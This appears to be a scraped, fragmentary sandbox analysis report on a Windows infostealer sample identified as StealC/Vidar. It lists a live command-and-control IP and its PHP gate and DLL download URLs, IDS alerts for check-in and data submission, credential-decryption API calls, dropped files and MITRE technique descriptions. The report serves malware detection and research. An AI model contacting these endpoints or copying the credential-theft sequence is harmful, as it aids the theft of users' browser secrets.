Instruction Fuzzy Hash: 9B313E71A00224AFCB14CF69CCC0A9E77F5EB84358B248539EA598BB04D635ED45CB90

Function 6CF126B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF126C1
free.MOZGLUE(?), ref: 6CF126E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF126FF
free.MOZGLUE ref: 6CF1270D

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9a0aa6ddf04fe1032940e499096702483a1a6036445e94dff980e61070852fa4
Instruction ID: 667c8973b47e5227aed3f3d4a0ef7ca236546f9c78011f44d1bf756a6d8dc0a3
Opcode Fuzzy Hash: 9a0aa6ddf04fe1032940e499096702483a1a6036445e94dff980e61070852fa4
Instruction Fuzzy Hash: 07F0F9B2B052045BE7109A58D884A5B73B9EF5635CB240035EA16C3F02E733F918C691

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 4.2.file.exe.d70000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 4.2.file.exe.d70000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: http://185.215.113.37/e2b1563c6670f193.phpData	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpom	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php_	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php-	Virustotal: Detection: 16%	Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D79B60 CryptUnprotectData,LocalAlloc,LocalFree,	4_2_00D79B60
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D7C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	4_2_00D7C820
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D79AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	4_2_00D79AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D77240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	4_2_00D77240
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D88EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	4_2_00D88EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CED6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	4_2_6CED6C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49700 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49700 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.7:49700
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49700 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.7:49700
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49700 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFIJEHCBAKFCAKFHCGDG

C:\ProgramData\CBFCFBFBFBKFIDHJKFCAFCFBKJ

C:\ProgramData\CBKJJEHCBAKFBFHJKFBK

C:\ProgramData\EBGCFBGC

C:\ProgramData\FBKJKEHIJECGCBFIJEGI

C:\ProgramData\HDAAAAFIIJDBGDGCGDAKFIDGID

C:\ProgramData\HJECAAKKFHCFIECAAAKEGCFIEH

C:\ProgramData\KKJKFBKK

C:\ProgramData\KKKJEHCGCGDAAAKFHJKJJJDHDH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 00D89860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00D745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00D7BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6CEC35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00D84910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00D74880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00D89C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00D77710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00D80250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre